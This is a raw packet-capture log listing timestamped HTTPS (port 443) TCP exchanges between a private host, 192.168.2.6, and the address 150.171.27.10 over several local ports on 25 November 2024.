Nov 25, 2024 05:46:21.947032928 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.947084904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.947153091 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.947153091 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.947168112 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.947305918 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.948999882 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.949059963 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.949112892 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.949112892 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.949129105 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.949212074 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.952681065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.952697992 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.952733040 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.952739954 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.952822924 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.955046892 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955068111 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955157995 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.955178976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955234051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.955343962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955363035 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955429077 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.955444098 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.955632925 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.956588030 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.956629038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.956686020 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.956692934 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.956744909 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.956744909 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.959244013 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.959286928 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.959338903 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.959347010 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.959391117 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.959441900 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.962264061 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.962289095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.962321997 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.962331057 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.962384939 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.962384939 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.965735912 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.965764046 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.965832949 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.965847015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.965879917 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.965898037 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.967849970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.967895031 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.967947960 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.967953920 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.967988014 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.967988014 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968054056 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968096972 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968115091 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968125105 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968167067 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968167067 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968450069 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968466997 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968513966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968527079 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.968553066 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.968833923 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.971668005 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.971684933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.971735954 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.971744061 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.971795082 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.971795082 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.976110935 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.976134062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.976185083 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.976197958 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.976227045 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.976243973 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978198051 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978240013 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978270054 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978287935 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978288889 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978316069 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978332043 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978332043 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978341103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.978377104 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978377104 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.978431940 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.980524063 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.980571032 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.980624914 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.980631113 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.980676889 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.980676889 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.981199026 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.981214046 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.981276989 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.981291056 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.981528044 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.985239029 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.985263109 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.985321999 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.985336065 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.985363960 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.985383987 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.987757921 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.987777948 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.987834930 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.987845898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.987960100 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.989336967 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.989379883 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.989437103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.989444017 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.989481926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.989481926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.989967108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.989985943 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.990093946 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.990099907 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.990144968 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.994206905 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.994223118 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.994288921 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.994302034 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.994455099 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.996448040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.996469975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.996526957 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.996540070 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.996567011 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.996584892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.998200893 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.998223066 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.998339891 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.998344898 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.998445034 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.000525951 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.000586033 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.000592947 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.000612974 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.000659943 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.000659943 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.005274057 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005290031 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005361080 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.005374908 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005439043 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.005637884 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005662918 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005714893 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.005728006 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.005757093 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.005831003 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.008352041 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.008372068 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.008415937 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.008424044 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.008457899 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.008471966 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.010200977 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.010255098 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.010299921 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.010305882 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.010330915 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.010351896 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016072035 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016096115 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016149044 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016163111 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016192913 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016210079 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016597033 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016614914 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016669035 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016674042 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.016707897 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.016729116 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.017661095 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.017688036 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.017739058 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.017751932 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.017790079 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.017790079 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022067070 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022110939 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022135973 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022141933 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022176027 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022234917 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022242069 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022298098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022320032 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022326946 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.022357941 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.022372007 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.028036118 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.028059006 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.028103113 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.028116941 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.028141975 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.028162003 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.029134035 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.029155970 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.029243946 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.029243946 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.029249907 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.029316902 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.031688929 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.031732082 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.031768084 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.031774044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.031804085 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.031822920 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.031907082 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.031986952 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.032008886 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.032023907 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.032057047 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.032074928 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.032458067 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.032516956 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.032542944 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.032552004 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.032583952 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.032584906 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.036523104 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.036587000 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.036597013 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.036633968 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.036643982 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.036684036 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.038609982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.038626909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.038719893 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.038727045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.038800955 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.039395094 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.039418936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.039474010 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.039488077 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.039518118 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.039645910 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.040118933 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.040168047 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.040190935 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.040203094 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.040244102 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.040265083 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.041276932 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.041321039 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.041366100 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.041373968 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.041403055 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.041443110 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.042889118 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.042932987 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.042970896 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.042978048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.043016911 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.043016911 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.044819117 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.044862986 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.044939041 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.044950962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.044982910 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.045003891 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.047420979 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.047437906 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.047477007 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.047482967 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.047516108 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.047525883 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.049818039 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.049839020 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.049891949 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.049906015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.049952984 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.049952984 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.051522970 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.051567078 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.051609039 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.051645994 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.051650047 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.051650047 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.051657915 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.051707029 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.051707029 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.051707029 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.052196026 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.052211046 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.052259922 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.052259922 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.054440975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.054501057 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.054513931 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.054541111 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.054574013 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.054604053 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.054816008 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.054846048 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.060985088 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.061031103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.061064959 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.061073065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.061100960 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.061163902 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.066340923 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.066386938 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.066426039 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.066431999 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.066462040 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.066520929 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.071177006 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.071222067 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.071263075 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.071269989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.071293116 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.071304083 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.075982094 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.076024055 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.076066017 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.076072931 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.076103926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.076160908 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.081347942 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.081392050 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.081435919 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.081444025 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.081464052 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.081489086 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.087201118 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.087244034 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.087308884 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.087321997 CET	443	49727	150.171.27.10	192.168.2.6
